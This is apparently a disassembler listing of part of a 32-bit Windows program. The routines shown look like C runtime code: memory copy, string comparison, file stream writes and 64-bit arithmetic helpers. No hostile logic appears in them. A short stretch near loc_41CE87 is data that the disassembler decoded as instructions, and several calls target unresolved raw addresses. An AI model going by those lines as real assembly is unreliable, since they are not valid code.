		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------

loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------

loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------

loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx

loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------

loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------

loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DC95C
		call	sub_422608
		mov	edx, dword_4DC95C
		pop	ecx
		mov	ecx, dword_4DC958
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DC95C
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------

loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DC958
		sub	ecx, dword_4DC95C
		mov	dword_4DC95C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DC958, ecx

loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DC958, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DC95C, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DC95C
		pop	ecx

loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DC95C
		mov	dword_4DC958, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 279013Ch
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2880000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB312
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB310
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB30E
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB30A
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB308
		jnz	short loc_41D0E6
		mov	eax, dword_4DB300
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------

loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2870000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh

loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB308
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB300, eax
		pop	esi

loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB35C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi

loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh

loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------

loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi

loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268

loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi

loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------

loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h

loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------

loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB2A8, 16h
		or	eax, 0FFFFFFFFh

loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------

loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------

loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h

loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax

loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------

loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3

loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------

loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx

loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA

loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------

loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1

loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]

loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------

loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi

loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 26A0480h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 2690DF2h
		push	eax
		call	sub_4203DF
		pop	ecx

loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB2A8, 0Dh
		mov	dword_4DB2AC, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------

loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------

loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F

loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi

loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi

loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------

loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2

loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
